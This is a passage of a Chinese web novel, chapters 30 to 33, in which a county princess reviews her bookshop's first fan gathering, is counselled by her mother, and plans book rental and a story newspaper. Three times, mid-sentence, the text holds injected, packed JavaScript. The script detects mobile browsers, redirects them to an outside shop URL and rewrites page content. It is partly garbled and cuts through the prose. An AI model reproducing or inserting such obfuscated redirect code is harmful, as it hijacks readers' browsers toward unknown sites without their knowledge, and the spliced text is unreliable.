阿桃没有犹豫，脱口而出：“我最喜欢鲤鱼，我就取鲤鱼二字。” 她这话一出，众人也有了灵感，自己喜欢什么，就用什么便是了。 桂丫取来宽幅宣纸，递到李铮跟前，她并未唤县主，只轻声说道：“东家，您题个字吧，这可是咱们书铺头一回举办同好交流会。回来装裱起来，挂在书铺也好看。” 李铮接过纸笔，思索片刻，然后大笔一挥，写下“第一次同好交流会”八个大字。 众人见了，情绪越发高涨，纷纷用手在空中轻轻比划，有人小声向身边人请教，只恨自己平日练字不用功，早知今日，定会多下功夫。 一个接一个上前，她们在画纸上，写下自己的别号，鲤鱼、松柏、寒梅、傲雪...... 都签完了，众人又喊擅画的杏衣姑娘，在角落里画上顾娘子和裴郎君的剪影。虽然没有颜料，但寥寥几笔画出来的小像，众人看后都十分满意。 快结束了，她们开始七嘴八舌聊起天来。 有人问桂丫，下回同好交流会是哪日的。 桂丫忙告诉她，暂定是一个月一回，每回开办前，都会提前挂上告示，感兴趣的可以多观望着些。 有人问阿沅，她写的故事，是否考虑落于纸上呢，自个想买下收藏。 阿沅神色有些纠结，开口说道：“实在抱歉，这件事情我决定不了。虽然我也想呈给大家，但毕竟涉及到这本书真正的主人，而且还得看书铺想法。” 众人有些遗憾，她们既想看小像，又想看续作，这可如何是好。她们纷纷用求助的目光看向桂丫和李铮。 桂丫不敢擅自做主，也跟着看向李铮。 李铮听罢，没有立刻回复。书铺自是愿意的，若是客人们自发写故事，只会让书铺的话本更受欢迎。但这毕竟也涉及话本才人，若是新故事也拿出来售卖，涉及到利润，必定要和才人沟通。 思索片刻，她起身，朗声回道： “诸位的想法，书铺非常理解，我自己也非常喜欢方才的新故事，但这毕竟涉及到话本才人，还要考虑如何售卖，不是一日之功。 我向诸位保证，书铺一定会尽力满足各位期盼，小像，新故事，我们接下来就会着手去做，也盼着大家多给我们点时间” 众人纷纷表示理解，她们又开始互相交流起来。 交流会要结束了，她们都有些不舍，目光停在方才的宽幅宣纸上，久久未动。 有的互相约着一起出来玩，有的在说下次交流会，一定会再来。 到散场时间了，因为男子女子是错开的，不能拖延太久，女娘们开始三三两两起身离开，边走还边兴高采烈地说着什么。 脚步声咚咚响个不停，不多时，二楼便只剩下自己人。 一张张竹凳逐渐空落。 热闹散去，李铮却仍兴奋着，胸膛因为激动，不住起伏。 这便是她想见到的光景。 好故事有人看，有人记，有人聊。那些纸上的故事好似活起来了，一字一句，鲜活极了。 30. 收尾谈心 几个伙计身着青布短打，上上下下跑着，手脚麻利地收拾案几桌椅；另一边，几个杂役正弯腰俯身，一一归置好散落的果盘、茶具。 跑动声、茶具堆叠声、众人说话声，一时不绝于耳。 这场交流会只一上午便结束，此时书铺外日头正好，再加上没过几日便到五月，太阳晒得人脸微微发烫。 李铮收回目光，不再看向雅间外。 二楼雅间内，她的下首依次坐着张大掌柜、桂丫、张娘子三人。 丫鬟刚奉上新茶，周嬷嬷略一闻，便皱了皱眉，随即拿出自带茶叶，重新沏来。 快到晌午，她似是担心李铮饿了，一边沏茶，一边又唤丫鬟上些果盘、点心来。 茶一倒好，周嬷嬷双手奉到李铮跟前，温声劝道：“县主，快用些茶。忙活一上午，连茶都没喝上几口。您先用些点心垫垫，回府再用午膳不迟，我已让小厮回府通禀过了。” 李铮小声啜饮了几口，笑着夸道：“还是嬷嬷懂我，这茶最合心意。” 周嬷嬷听得欢喜，脸上皱纹都舒展了：“县主爱喝便好。” 几人喝了茶，吃了点心，又歇息片刻，正式进入正题。 张大掌柜捋捋胡须，最先躬身回禀： “今日交流会，不算到场之人所带的丫鬟、小厮，实际到场四十九人，男客二十九，女客二十。除了闹事男子外，其余都是书铺老客。 散场时，有十六人购买了咱们书铺新出的话本，里头不止有游记，还有手抄的其他新话本。统共售出二十三本。 茶水点心，因着是头一回交流会，便全部免费提供。往后再举办，不说挣钱，但店里可酌情考虑收个茶水本钱，不至于亏得太多。这次都是按人头备的，半点没浪费，下次倒是可以再多备几份。 女客那边暂时没收到反馈，只有两位男客，抱怨茶水最后没了茶味。想来是后院日头好，人容易口渴，这茶水添得多了，自然茶味也淡了。下回咱们定多留意天气情况，略多备些。” 李铮听罢，曲指轻敲桌案，颔首说道：“账目理得很细，不错。人数也比预想的要多。你用心了。” 说完她又转头看向张娘子：“今日你也在现场，说说看，对书铺后续经营，以及会上她们提到的新编文稿，有什么看法？” 张娘子忙从袖中掏出张草稿纸，双手递与李铮，语气干脆利落：“回县主，方才交流会一结束，我便琢磨起新编文稿的事。依我看，这事大有可为，就是银钱分配上，还需好好斟酌一下。” 顿了顿，她又接着说道：“再者，新编文稿大多篇幅短小，正好可以登在先前提到的故事报上，也能给故事报带带人气，引些客源。” 李铮接过一看，这纸上，画着好些个大小不一的框。定睛一看，原来是标注了不同字数对应的版面范围。五十字多大，一百字多大，两百字多大，分得清清楚楚，一目了然。黑狗妖的故事大概八百字，占据最大一块地盘。 她笑着看向张娘子，语气带着赞许：“你考虑得倒是细致周全，这张草稿我便带走细看了。” 想到话本已渐渐步入正轨，李铮思索片刻，抬眼看向二人，朗声说道：“这次交流会，虽说小有波折，但整体还算顺遂，尤其是女客这边，反响格外好。依我看，后期咱们还能添些仿作、后记、新编故事之类的题材，慢慢把铺子做得更大、更稳。” 话音刚落，张大掌柜忍不住捻捻胡须笑起来；张娘子与桂丫脸上，也情不自禁露出笑意。 见三人都松快起来，李铮又正色吩咐道：“先前那名闹事的客人，让底下伙计日后多留意些。张大掌柜，这事你也多留心，免得再生纰漏。” 张大掌柜闻言，当即敛起笑容，重重点头。 见他点头，李铮继续说道：“书铺现下渐渐迈入正轨，接下来可以着手做故事报了。故事收集上，还需要几位多用心。口述故事不似话本那般好征集，不过故事题材也会更多样，有利有弊。这故事报是咱们亲手办的，除了故事之外，若是有别的新奇内容，也可报来给我看看。” “前几日我想了下，最开始咱们就一月一期。每期篇幅，便按收上来的故事多寡来定。只定个上下限，不必拘死。这故事报上，除了放寻常故事外，还可放些原有话本的衍生故事。” 顿了顿，李铮说道：“当然，这都只是些粗浅的想法，咱们先专心征集故事，故事才是一切的基石。” 三人闻言，纷纷点头。 事情基本聊完，想到这交流会还算圆满，她笑着看向三人：“这次交流会大家都辛苦了，你们三人各赏三百文！其余今日上工的，每人一百文。” 三人脸上俱是喜色，异口同声说道：“谢县主！” 没过多久，楼下也传来一阵欢呼，想是张大掌柜跟她们说了赏银的好消息。 听到这欢呼声，李铮轻抚额头，情不自禁笑出来：“走吧，咱们回府！” 马车悠悠回府。 饭厅里，张氏坐在主位上，垂着眼出神。见她回来，连忙唤她到跟前，又命丫鬟搬来小凳子。 待她坐下，张氏便对身边嬷嬷说道：“嬷嬷，让厨房快些上菜，阿铮定是饿不轻，听报信的小厮说，整整忙了一上午。” 李铮见张氏一叠声地忙活，忙拉了拉她的衣袖，软声说道：“阿娘，不必这般着急。回来前，周嬷嬷已经让丫鬟上了茶点，我略吃了几口，并非一直饿着肚子。” 张氏听罢，神色稍缓，轻声说道：“好好好，不过点心终究不是正饭。平日里可得要按着时辰吃饭，这样身体才最康健。” 李铮乖巧点头，在这种事上没必要和阿娘争执，都答应就好。 “罢了罢了，我还不知道你吗？”见她这副乖巧样子，张氏忍不住笑了出来，她转头看向周嬷嬷：“嬷嬷，平日里你跟着阿铮，一定要盯好她吃饭。到饭点了，不管是正饭，还是茶点，总要让她吃些。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216989|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>周嬷嬷笑着躬身点头：“夫人放心，我平日都盯着呢。” 饭桌上的好些道菜，都是李铮爱吃的，因着天渐渐热了，厨房还上了井水过过的樱桃。四月末，樱桃刚上市，鲜嫩极了。一口咬下去，汁水甜丝丝的，满口生津，直觉暑气渐消。 饭后，李铮想起自己方才回来时，张氏独自出神，便索性留下了，近来只顾着忙书铺的事，竟是许久都没同她一起好好说话了。 见她留下，张氏笑着打趣：“今日这事总算得空了？往日你是吃完就走，好似这就是个不用付账的饭铺，到点来吃，吃完便走。” 李铮听完笑着拽张氏袖子：“娘，我这不是太忙了吗。今天总算收尾了。娘，你是没见到，今天的热闹场面。” 清了清嗓子，她开始绘声绘色描述起来：“人满满当当不说。到场的人，除了专门给书中人物画了小像的，还有好几个人专门写了新编故事。尤其是那位画小像的娘子，画的可好了，就是我想象中的顾娘子。” 见李铮形容得很有意思，张氏忍不住笑着点头：“然后呢。” 李铮直起身，开始用手比划：“除了画画和写故事的，场上还有几人挑着喜欢的书中片段，然后学了来玩。总之有意思极了。我在交流会后排坐着，这都是我亲眼见的。” 李铮说得兴高采烈，张氏温和地注视着她，缓缓开口：“来的都是些什么人家？听你说的倒有趣，只是，并非所有人家都这么开明。” 李铮愣了一愣，思索片刻回道：“男客那边未细看，我一直在女客这边坐着，瞧着要么是小吏之家，要么是家里条件不错。否则哪能供得起人读书写字。” 回完话，李铮心底忍不住庆幸，还好自己当时选的是分场地办，要不然岂不是要花大量时间去解释。母亲已算开明之人，时间定然还有不少守旧的父母。若一开始便男女同场，这交流会最终会成什么样子，还真不好说。 不待多想，她抬眼看向张氏，语气愈发笃定：“书铺是我办的，我又身为县主，大小也算块招牌了。更何况我们早已提前考虑到了这点，男女不在一起，女客这边用的都是丫鬟，小厮一概不许上去。” 说完她忍不住哼了一声：“这样，也省得那些老学究唧唧歪歪。我还是很有先见之明的，一猜就能猜到那些迂腐之人会说什么，虽然我不在乎，但我知道不少女娘在乎。” 张氏点点头，笑得很是欣慰：“你能想到这点就很好，你可以不在乎，毕竟咱家有不在乎的本钱，但是很多人家是做不到的。移风易俗不是一朝一夕之事。” 挥手让丫鬟仆人们退下，她摸了摸李铮的发髻，温声说道： “这些年，风气越来越好。你开书铺，我和你阿爹原本没那么赞成，但看你铁了心要做，便都同意了。也是想看看你到底能做成什么样，是一时脑热，还是坚定不移。” 窗外传来麻雀叽叽喳喳的叫声，张氏望着窗外，声音轻了下去，一时没再说话。 31. 迎风生长 张氏收回望在窗外的目光，低头看向李铮，想到两三个月前她执意开话本铺的模样，缓缓开口： “那时，我们是真没想到，你能做得这般好。你出了第一本话本，现下又开了第一次交流会。之前从没有人做过的事情，你做到了。 我和你阿爹，以你为荣。当然，纵使你失败了，我们也仍旧以你为荣，因为你敢于尝试。 我活了三十来年，越来越觉得，人啊，这一辈子，你不做是一生，做了也是一生。 随波逐流是最简单的，敢于尝试，敢于和别人不一样，需要莫大的勇气。 只是你要晓得，和别人不同，便要承受不一样的眼光，那些庸俗之人，少不得要指指点点，甚至想拖你下水。 你开这话本铺就很好，文字里头，是藏着大力量的。你现下可能还体会不深，但你想想，历朝历代，为何会有禁书？又为何要让孩子从小就学《孝经》，学儒家经典？ 不要涉政，但你可以借着故事，借着话本，潜移默化地去影响别人。 你是女娘，世人并不觉得你能做出什么正事，他们只当你在玩闹。 纵使你日后名声起来了，他们也只当是巧合，是运气，是旁人相助，绝不会认为这是你的本事。 不被瞩目，就不被提防。” 缓了缓，张氏伸手轻轻摸了摸李铮的发顶，声音压得很低，直至落在她的心头： “我的阿铮，好好长大吧！ 长成大树，扎根大地，只有这般，才能无惧外面那些风风雨雨。 你现下手中的东西，已经是武器的雏形，慢慢打磨，日后威力是大是小，就全看你自己了。 这世间，很多人握着它，但他们多半只为了换些银钱，和那些卖布匹，卖吃食的商贩没有任何区别，到头来，白白糟蹋了。 我知道，你从不是为了挣钱，你是为了收集故事，留住故事。 但你若拥有金山银山，却无半分自保能力，便如同稚子持金行于闹市，只会招人觊觎。” 廊下一双燕子嬉戏飞舞，偶尔低喃两声，张氏瞥了两眼，心头那番沉重的话暂且落下，回头看向李铮，语气缓了缓，温声问道： “不说这些沉重事了，你也差不多到了议亲的年纪。前几日你还提过，和你交好的赵侍郎家的女儿，眼看就要定亲了。你自己呢？可想过要寻什么样的夫君？勋贵、文官、武将。门第高些、还是低些。可曾想过？ 我是你娘，你心里有什么想法，尽可说与我听，万不用害羞。” 见母亲忽然问起日后夫君模样，李铮一时微怔，有些茫然。只是前些日子宽慰云秀时，她也曾细细想过几回。 她沉吟片刻，缓缓开口说道： “我的夫君，他必须长得好看。毕竟情爱会消失，皮囊一直在。 他还得有些才华，懂得欣赏话本，当然不强求他和我一样喜欢。 我不喜欢三妻四妾，他的家庭关系最好简单些。 最后一点，他必须得尊重我，尊重我的喜好。” 张氏听完忍不住笑了笑，理了理李铮的衣襟，温声说道： “跟娘之前想的，差不离。 不兴三妻四妾的人家，无非两种。一种是家里门风如此，比如咱们家；另一种，是这郎君自己出淤泥而不染。 只是这第二种，可能性比较低，况且也不好打听，那些个郎君，不懂得主动吆喝。咱们还是优先选第一种最稳妥。 你祖父母当年情投意合，我与你父亲也算是琴瑟和鸣。可情爱本就难寻，今日爱得真切是真，明日淡了也是真。就连你自己，也不敢保证会一直喜爱一个人，对不对？” 李铮听完，忍不住轻轻点了点头。 张氏又好气又好笑地看她两眼，复又语重心长说道： “所以，你可以喜欢，但是万万不可偏执，毕竟人心易变，旁人爱与不爱，终究由不得我们强求。 儿女情长，如今你还没体会。你只管用心经营话本铺就是。咱们家不差银钱，你又素来大方舍得分利于人。日后经营书铺时，多替那些寻常百姓思量几分，多做些你力所能及的善事，这般一来，你的民间声望自会越来越好。 到时，书铺便是你的依仗，民心便是你的底气，它们会一直陪着你。” 李铮鼻尖微热，轻轻应了一声，声音很是认真：“娘你放心，我都记下了，往后定会好好思量。” 张氏又拉过她的手，掌心暖暖的，缓缓开口说道： “一入冬，不少大户人家便会捐钱捐物，有的是真心向善，有的是图个好名声。但别管为了什么，只要米粮钱财，真真切切到了贫苦人家手中，那便是做了善事。” 张氏停了停，端起茶抿了一口，看向李铮，语气郑重： “对待旁人，只看他做了什么，不用管他怎么想。 可对待自己，要论心论迹，知行合一，这般才能自洽，才是真本事。 当然，此刻你便是不懂也无妨，日后自会明白。” 李铮攥着张氏的手轻轻晃了晃，软声道：“娘，我懂了，我会好好经营书铺，不暴露自己。” 张氏失笑，指尖点了点她的额头：“傻孩子，这便对了。慢慢来，娘会一直陪着你。” 李铮迟疑地问道：“娘，你今日......怎么忽然和我说了这么多。” 张氏闻言，柔柔地看了李铮一眼，语气里带着几分怅然： “没怎么，只是今日忽然发觉，你长大了，不再是原来那个哭闹要糖的小娃娃了。” “本来，娘是不愿同你说这么多的，可眼瞧着你书铺经营得愈发红火，也越发有自己的主意。索性便把话都同你说开，也省得你日后碰了墙，东想西想，没个方向。 总之，你若是想按自己的心意过日子，便要多琢磨，怎么才能让认同你的人变得多多的，让反对你的人变得少少的。” 张氏絮絮说了许多，李铮一时也没全想明白，但她心里清楚，阿娘句句都是为她好。 廊下燕窝里，时不时传来几声啾啾声，每隔片刻，便有只母燕衔着虫子，飞回来喂食。 真好。李铮趴在张氏膝头，默默想着。 回到自己院子，她唤丫鬟把躺椅搬到树荫处。窝在椅子上，眼睛望着天上成团的云彩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226988|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，心思却飘到方才阿娘说的那番话上里。 她虽未能全然领会，却也隐隐明白，从前自己一直都在阿爹阿娘的羽翼下，所以才能这般自在随心。可一旦长大成人，日子便不能全由着自己性子来了。 若还想要按着自己的心意活，就必须有依仗，有底气，有自保之力。 找夫君，也得找个肯尊重自己，肯听自己话的，毕竟日后要在同一个屋檐下过日子，半分勉强不得。 一阵风吹来，她忍不住闭上眼，将阿娘方才那番话，在心里又细细体味一遍。 想来想去，婚事暂时不急，要靠缘分。 如今阿娘已经全然赞成，甚至鼓励自己经营书铺，那她更应该先把书铺做好。 毕竟书铺谁也夺不走，连娘都说，若是经营得好，便是自己安稳的依仗。 可要如何做，才能提升声望，才能把书铺变成自己的依仗呢？ 现下肯定不算，这点自知之明她还是有的。 她暗自思索，那些高门大户、有权有钱之家，大多欲壑难填。他们拥有的已经够多，却还是贪得无厌。跟他们扯上关系，一个不慎就被卷入纷争之中，实属得不偿失。 思来想去，还是得立在普通老百姓身上。那些卖花的女娘，包馄饨的老妇，捏泥人的老丈，哪个不比那些权贵鲜活。 她若扎根于此，普通老百姓得了实惠，自己也不用攀附权贵，反倒还有了依仗，一举多得的好买卖。 越想越痛快，自己开话本铺的初心，本就是想让好故事被更多的人看见。那些权贵人家不缺故事，真正需要这些故事的，从来都是老百姓。 兜兜转转，万万没有想到，阿娘的叮嘱，书铺的路，自己的初心，到最后，竟全都聚在一起。 从前她只知顺着心意做，凭着一股子气，莽着往前冲，现下她心中，就像砂石沉淀后的小湖，越来越清明。 长舒一口气，睁开眼，李铮振奋起来。 她心下轻快，起身，舒展四肢，缓步走入书房，琢磨起接下来的安排。 近些日子，自己可以多去茶馆坐坐，多去街头逛逛。 就是这个故事报，该怎么办呢。老百姓识字的少，别人不识字，又为何要买报？连字都不识的人家，想必家境也一般。这种情况，非要卖给别人，岂不是坑害他们？ 一直砸钱，肯定也不是长久法子。常言道升米恩斗米仇，必得寻个互惠互利的法子，才能长久安稳。 还有那些贫困书生，人海茫茫，她该怎么大浪淘沙，把人品靠谱的筛出来呢。 自己若是出钱资助，他们又能以何为报，能帮她做些什么。 更何况，直接结交书生，万万行不通，太过惹眼。 事情一桩桩，一件件，千头万绪，缠成一团乱麻。 李铮心口微微发紧，深吸一口气。 慢慢来。 不要急。 眼下纵然乱入麻团，也得一步一步来，终有一日，终有一日，自己定能把这团乱麻，一一理顺。 李铮不再沉浸在烦忧中，吩咐丫鬟取来几本时下热销的话本，低头一一看起来。 32. 新商机 “县主，这件衣衫轻薄鲜亮，最衬您肤色。您看如何？” 李铮瞥了眼丫鬟手中的石榴红窄袖褙子，轻轻摇了摇头，今日她想微服出府，不想太过招摇。想了想，她轻声吩咐道：“换身寻常人家的装束来。我要去街上逛逛。” 丫鬟躬身应是，转身去衣橱里另取了一身衣衫出来，低声回禀：“县主，这件可好？更素净些。” 那衣衫是皂青色细棉布，是她平日偷溜出府惯穿的样式，混在市井里最是不起眼。李铮微微一笑，颔首道：“便这件吧。” 丫鬟应声上前，便轻手轻脚为她更衣。 一旁候着梳头的丫鬟，见状上前，低声请示道：“县主，发髻、首饰、鞋袜是否都往素净里收拾？” 李铮点头，几个丫鬟便手脚麻利地忙碌起来。突然想到马车，连忙转身对一旁的周嬷嬷吩咐道：“嬷嬷，今日马车也用最寻常的，不必带装饰。” 周嬷嬷笑着回道：“县主放心，方才都吩咐妥当了。” 此番出门，她并未带丫鬟，只带了周嬷嬷和几个侍卫，侍卫们也特意换上了便衣。 这辆马车不是李铮惯用的，虽然丫鬟已将靠垫、坐垫都换了，但还是没那么舒适，衣衫有些轻微扎人，李铮尽力让自己忽略这些不适，静静倚靠在车壁上，脑海里不住地想着，待会到了食巷，要打探哪些东西。 食巷热闹极了，马车停在巷口，就周嬷嬷和便衣侍卫们跟了进去。 这条食巷不算长，约摸百十步，两旁挨挨挤挤开着二三十家铺子。 有带门面的茶坊、粥店、面店，也有支着炉灶的馄饨摊。香气混在一起，飘出老远。 现下正是饭点，来这的百姓挺多，正好给了李铮观察的机会。 找了个巷口附近的空地站着，目光轻落在往来行人上。 一中年妇人牵着三四岁幼童，立在馄饨摊前，盯着冒着热气的铁锅一直瞧，就是不出声买。身旁的幼童，衣衫上好几个大大的补丁，但是还算整齐。 就那么站着不动，过了一会，他们往前走了几步，停在一家包子摊前，最后买了两个包子离开。 这孩子真听话啊，想吃馄饨，竟也不缠着爹娘买。 这么小的孩子，也太听话了。 因着巷子人多，不一会就看不见二人身影了。 李铮收回视线，看向一旁的周嬷嬷，轻声吩咐道：“嬷嬷，你去问问那牵着小童的妇人，是否愿意回答几个问题，作为报酬，就请他们一人一碗馄饨吧。” 周嬷嬷今日也是寻常打扮，但是周身气度是骗不了人的，中年妇人面带犹豫，顺着周嬷嬷手指的方向，看向李铮。低头看了看牵着的小童，又看了眼笑着的周嬷嬷，终是应下。 怯怯地来到李铮身前，她没敢抬头，低声说道：“娘子，您是想打听什么，奴家知道的并不多。” 这会离得近了，李铮目光扫过妇人粗糙的皮肤和手上的茧子，又看了眼幼童有些凌乱的头发：“你放心，只是些日常问题，你照实回答即可。” 转身看向身旁的周嬷嬷：“嬷嬷，先把两碗馄饨钱付给她。” 伸手接过铜板，这位妇人神色总算镇定了些，一旁的小童见到铜板，立马扬起嘴角，瞥了眼身旁的妇人，他捂住嘴角，但眼睛还是眯起来的，想来很是开心。 李铮思忖片刻，开始问这中年妇人，一些日常家用和营生问题。 一旁周嬷嬷拿着炭笔快速记着。 送走二人，李铮收回视线，重新看着巷子口进来的行人。 食摊前停着的多是粗布衣衫，洗得发白，打补丁的不在少数。补丁多的往往买的也是干的，比如包子、馒头。稀饭馄饨想必是因为不挡饱，所以他们买得少。 进到铺面里的，衣着明显好些，起码没什么补丁。 连买吃食都要犹豫，都要考虑如何节省，这些人怎么可能会花钱买话本看。这项消遣对他们来说太贵了。而且现下识字门槛也高，识字的平民百姓并不多。 即便要缩衣节食买书，想必也是买三字经之类的启蒙书籍或者科举用的经史子集。 这般想来，书铺下一步是让普通百姓也能看得起书。 可书铺成本明明白白摆在那里，笔墨纸砚、匠人伙计全都是开销。 更何况一昧贴补，终究不是长久之道。 李铮指尖轻轻摩挲着衣袖，不住思考着。到底要怎么做，才能既让利于民，又不让书铺折了本钱？ 忽然，她想到自己很多话本，其实看过一两次后，便被闲置在书架落灰。 脑海里灵光划过，为何不将书赁于旁人看。 客人付押金，再花低廉的价钱把书借走，一日收个几文钱，想必付得起的人会多上很多。 但是这样一来，势必会影响到卖书的收入，若人人都去租，谁还会花钱买书。 一租一卖，此消彼长，该如何权衡呢？ 谁会花钱买书，想第一时间看书的人，不喜欢看旧书的人。 何不定个期限，新书只能买，旧书才能租。至于具体期限，就得和张大掌柜，再一起商议了。 既然已拿定了主意，李铮也没久待，略作休息，便带着周嬷嬷一同去了五柳斋。 刚到书铺门口，便觉铺里比前几日还要热闹，不断有客人进进出出，而且客人们脸上多带着笑。 柜台后忙活的张大掌柜，很是眼尖，李铮刚进来，就连忙放下手中账册，快步迎上来：“县主，您来了！可是有事要吩咐？” 李铮笑着看了眼铺里热热闹闹的景象，又看了他一眼，点了点头：“嗯，有个新念头，去二楼雅间商议吧。” 落座后，李铮没急着说起租书的事情，而是有些好奇地问道：“今日书铺怎么这么热闹，其他书铺也这样吗？” 话音一落，张大掌柜就情不自禁露出笑容，他喜滋滋地回禀道： “县主，都是交流会的缘故！看来咱们这交流会是大获成功，这些客人提到的，都是昨日会上讨论较多的那两本，也就是说书人讲的那两本。 当然，既然他们来了铺子，我们也向他们推荐了最近出的几本。有不少客人也顺带买了。” 听到张大掌柜说起客流，李铮有些许惊讶，没想到除了昨日交流会结束时多卖的，今日还能添这么多新客。 想来是口碑起来，老客带新客。 不过归根到底，还是书铺话本好看的缘故，要不然就算客人来了，也留不住。 想到这，她笑着看向张大掌柜：“不错，看来这交流会，咱们可以放心大胆办下去了。” 顿了顿，她目光微沉，切入正题：“今日来，是另有一件事要与你商议。租书。” “租书？”张大掌柜面带诧异，声音透着不解。 “没错，便是租书。” 张大掌柜，微皱眉头，过了片刻，才面带难色开口说道：“县主可是心善，想体恤那些看不起书的穷苦人？只是小的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236425|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想着，这般一昧补贴，不是长久之道啊。” 李铮轻敲桌案，不急不躁说道：“掌柜顾虑，我自然明白。我确实也是因为看到那些买不起书的人，心有触动。但依我看，租书绝非补贴，而是一桩商机。 能买得起新话本的，终究就那些人。一册话本的本钱摆在那里，我们也不可能一直降价。唯有租书，才能把那部分被挡在门外的客人，拉拢过来。” 张大掌柜听完，并未立刻应声，他低头想了片刻，才开口说道：“县主，这租书确实能添人，可是租书会有磨损，况且若是店里既卖又租，人人都去租书，谁还会买书呢。” “这两点，我之前也有考虑。“李铮笃定说道：“我的打算是，新书咱们不租。若一册话本售出满两月，仍有存本，再归入赁书单，对外租赁。” 张大掌柜脸上愁容少了些；“那咱们必须得定好押金，要不然书损坏了，或者有人借了不还，咱们找谁说理去。” “是的，必须得有押金，至于具体数额，你可以核算下成本，定个金额，比如书价七成或六成。若书完好归还，押金一分不少退给客人；若是污损，遗失，便从押金里扣除一定金额用作赔偿。如此一来，咱们便不会折本。” 张大掌柜听得不住点头：“县主这法子不错，除此之外，小的想了下，押金还可以根据书的价值来，分个一二等。” 李铮敲了敲桌案，又说道：“不止如此，最好把租书和售书分开。两者客人本就不同，互不打扰最好。你可看下书铺哪里能开个临街小窗。” 张大掌柜皱眉思索片刻：“抄书的桌案旁，倒有个空当，可以改改那处的窗户，另开个售卖窗口，外面再挂上招牌。” 李铮：“可以，便如此来。先拿话本试水，若是可行，再琢磨经史子集。” 张大掌柜：“现下书铺，一册话本定价三百文，押金倒不必细抠，可定个二百文，反正最终是要归还的。只是这租金......” 他迟疑地看向李铮：“不知......定多少合适？” 李铮思索片刻，开口说道：“便五文一日吧。” 见张大掌柜微露惊讶，她才慢慢解释：“这个价格，既不至于让他们望而却步，又能筛掉那些无心看书、只来凑热闹的人。识字已经是个门槛了，连温饱都难的人家，自然也谈不上识字读书。” 顿了顿，她又叮嘱道：“眼下铺中，还没有上架满两月的话本，咱们先把租书的规矩、窗口都备好，挂出告示，让大家有个准备。再过二十来天，最早一批上架的那几册话本，便够日子了，到时再正式开租便是。” 说罢，她抬眼看向窗外，目光落在熙熙攘攘的人流里，语气里带着笃定和期盼： “咱们一步一步来，现下的五柳斋，还帮不了那些目不识丁之人。但只要好好经营，日后定会有余力。更何况，这桩买卖里，也不只是他们得益，我们除了利润，更能收获名声。名声一立，客人自然会源源不断。” 话只说到这里，她便顿住。但她心里明白，这般一步步扎下根去，她自己，也能多几分真正立足的依仗。 张大掌柜怔怔望着她，一时没说出话。 他从未想过，眼前这位年纪尚轻的县主，看得如此深远。 过了片刻，李铮缓缓开口说道：“租书的事，便按方才说的筹备。接下来，咱们再议另外一桩事。” 说罢，她扭头看向立在一旁的金竹：“去唤张娘子和桂丫来。” 33. 故事报筹办 室内安静了一会儿，过了片刻，便见张娘子和桂丫快步走进来，温声说道：“给县主请安。” 李铮抬手示意她们起身，朗声说道： “今日叫你们二人过来，是想同张大掌柜一起商议筹办故事报的事情。 这故事报，之前润笔费刚调整那会就提过，但那时时机未到。如今书铺渐渐走入正轨，咱们也总算能腾出手来，正式做这件事了。” 说罢，她起身示意一旁的周嬷嬷，将提前备好的几页草稿取来，轻轻铺在桌案上。又拿了几支炭笔，一并放在桌案上。 手指压在最左侧那页草稿上，李铮看向三人：“故事报，我是想着针对普通老百姓。如今别家书铺做这个行当的少，咱们正好可以抢先一步，多想些法子降降本钱，让更多的人买得起。” 顿了顿，她又补充道：“寻常话本里‘之乎者也’太多，这故事报，咱们尽量都用最浅白的文字。” “一要价钱便宜。二要文字浅白。三要故事有趣。” 每说一条，她便屈起一只手指。 见面前三人都面露惊讶，李铮朗声开口：“是哪里有难处，怎么都面露难色？” 见另外两人都未做声，张大掌柜迟疑片刻，上前回道：“小的是担心……故事报卖不出去。这买故事报和买话本的主顾，不都是同一批人吗？” 李铮轻轻摇头：“并非如此。一个是长篇，一个是短篇。故事报受众比话本大多了。” 至于张大掌柜担心的销路问题，李铮从容答道：“咱们不必把全副心力都压在故事报上。第一批刻印的份数少些，稳妥起见，先手抄几份试水也使得。这样即便销路平平，铺子也亏不到哪儿去。” 张大掌柜点头应是。 张娘子纠结片刻问道：“县主，咱这故事报，可要限制故事类型？前些日子征故事的告示贴出来，偶尔也有人来问。但大多是些街头传闻。像之前《黑狗妖》那样的，一个也没有。” 她顿了顿，又补了句：“不过也有几个上了年纪的人，来问收不收他们的过日子的小法子。馒头怎么做暄软，衣服怎么洗得干净，养鸡怎么少生病，零碎得很。小的拿不准，只好先记下，让他们走了。” 李铮不禁眼前一亮：“这倒是个新路子，我觉得很实用，你们呢？” 说完她抬眼看向另外两人。 桂丫本在一旁立着，此刻忍不住凑到桌前说道：“县主，若是普通百姓看报，想必还挺愿意学这些的。我若是看报的人，就很想知道怎么缝补结实，怎么寻些零工……。小的觉着，这些很实用。” 